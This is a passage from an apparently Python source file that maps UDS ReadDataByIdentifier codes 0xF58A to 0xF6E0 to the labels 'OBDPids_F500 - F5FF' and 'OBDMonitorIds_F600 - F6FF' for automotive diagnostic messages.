"OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf58f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf590] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf591] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf592] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf593] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf594] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf595] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf596] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf597] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf598] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf599] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59a] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59b] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59c] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59d] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59e] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf59f] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5a9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5aa] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ab] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ac] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ad] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ae] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5af] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5b9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ba] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5bb] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5bc] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5bd] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5be] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5bf] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5c9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ca] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5cb] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5cc] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5cd] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ce] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5cf] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5d9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5da] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5db] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5dc] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5dd] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5de] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5df] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5e9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ea] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5eb] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ec] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ed] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ee] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ef] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f0] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f1] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f2] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f3] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f4] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f5] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f6] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f7] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f8] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5f9] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fa] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fb] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fc] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fd] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fe] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ff] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf600] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf601] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf602] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf603] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf604] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf605] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf606] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf607] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf608] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf609] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf610] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf611] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf612] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf613] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf614] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf615] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf616] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf617] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf618] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf619] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf620] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf621] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf622] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf623] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf624] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf625] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf626] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf627] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf628] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf629] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf630] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf631] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf632] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf633] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf634] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf635] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf636] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf637] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf638] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf639] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf640] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf641] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf642] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf643] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf644] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf645] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf646] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf647] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf648] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf649] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf650] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf651] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf652] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf653] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf654] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf655] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf656] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf657] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf658] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf659] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf660] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf661] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf662] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf663] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf664] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf665] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf666] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf667] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf668] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf669] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf670] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf671] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf672] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf673] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf674] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf675] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf676] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf677] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf678] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf679] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf680] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf681] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf682] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf683] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf684] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf685] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf686] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf687] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf688] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf689] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf690] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf691] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf692] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf693] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf694] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf695] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf696] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf697] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf698] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf699] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6aa] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ab] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ac] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ad] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ae] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6af] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ba] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6bb] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6bc] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6bd] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6be] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6bf] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ca] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6cb] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6cc] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6cd] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ce] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6cf] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6da] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6db] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6dc] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6dd] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6de] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6df] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e0] = 